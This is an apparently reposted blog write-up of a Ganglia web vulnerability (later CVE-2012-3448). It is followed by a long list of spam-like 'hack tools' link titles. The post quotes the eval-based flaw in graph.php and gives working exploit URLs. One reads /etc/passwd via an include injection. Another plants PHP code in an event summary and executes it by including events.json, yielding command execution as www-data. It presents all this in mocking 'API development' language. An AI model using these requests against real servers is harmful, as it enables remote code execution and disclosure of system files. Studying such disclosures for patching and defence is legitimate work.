http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Related links
- Hack Tools For Pc
- Physical Pentest Tools
- Easy Hack Tools
- Pentest Tools Nmap
- Hacker Tools For Mac
- Nsa Hack Tools
- Underground Hacker Sites
- Hacker Tools Free Download
- Hacking Tools For Mac
- New Hacker Tools
- Nsa Hacker Tools
- Growth Hacker Tools
- Hack Tools For Mac
- Pentest Tools Kali Linux
- Pentest Tools Free
- Hacker Tools For Pc
- Best Hacking Tools 2020
- Hackrf Tools
- Hacker Tools 2020
- Pentest Tools For Mac
- Hacking Tools Pc
- Hacker Tools Software
- Hacking Tools Download
- Hacker Security Tools
- Hacking Tools Windows 10
- Android Hack Tools Github
- What Are Hacking Tools
- Pentest Tools Free
- Hacking App
- Hacking Tools 2019
- Hacking Tools For Beginners
- Hacker Tools List
- Usb Pentest Tools
- Pentest Tools Online
- Beginner Hacker Tools
- Hacker Tools List
- Hacking Tools For Games
- Pentest Tools Android
- Hacker Tools For Pc
- Hack App
- Pentest Tools Linux
- Top Pentest Tools
- How To Make Hacking Tools
- Hacking Tools Windows
- Pentest Reporting Tools
- Pentest Tools Apk
- Hacker Tools Software
- Pentest Tools Find Subdomains
- Hak5 Tools
- Pentest Tools Framework
- Pentest Tools
- Install Pentest Tools Ubuntu
- Pentest Tools Nmap
- Hack Tools Mac
- Hacker Hardware Tools
- Hacking Tools For Beginners
- Pentest Tools Download
- Pentest Tools For Windows
- Install Pentest Tools Ubuntu
- Hack Tools For Mac
- Kik Hack Tools
- Pentest Tools Alternative
- Pentest Tools Kali Linux
- Hack Tool Apk
- Hack Tools Online
- Hacking Tools Pc
- Hacking App
- Pentest Tools Apk
- New Hacker Tools
- Hack Tools Github
- Pentest Tools Alternative
- Hack Website Online Tool
- Nsa Hack Tools Download
- Game Hacking
- Pentest Reporting Tools
- Tools Used For Hacking
- Hacking Tools Software
- Hack Tools
- Pentest Tools For Android
- Hacking Tools Github
- Pentest Tools Website Vulnerability
- Hacking Apps
- Hacker Tools List
- Pentest Tools Website
- Github Hacking Tools
- Hack Tools For Ubuntu
- Tools Used For Hacking
- Hacker Tools For Pc
- Hack Tools For Mac
- Hacking Tools 2020
- Hack And Tools
- Hacking Tools 2019
- Hacking Tools For Pc
- Hack Tools Pc
- Hacker Tools For Mac
- Hacker Tools Apk
- Hack Tools For Pc
- Pentest Tools Windows
- Nsa Hacker Tools
- World No 1 Hacker Software
- Hacking Tools And Software
- Pentest Tools Windows
- Hacks And Tools
- Computer Hacker
- Wifi Hacker Tools For Windows
- Hack Tools For Pc
- Best Pentesting Tools 2018
- Pentest Tools Nmap
- Hack Tools For Mac
- Hacker Tools 2019
- Hacking App
- Hacker Tools Windows
- Pentest Tools
- Hacking Apps
- Growth Hacker Tools
- Hack Website Online Tool
- Hak5 Tools
- Blackhat Hacker Tools
- Black Hat Hacker Tools
- Hacking Tools For Kali Linux
- Hacker
- Hacking Tools Kit
- Pentest Tools For Ubuntu
- Hacking Tools Windows 10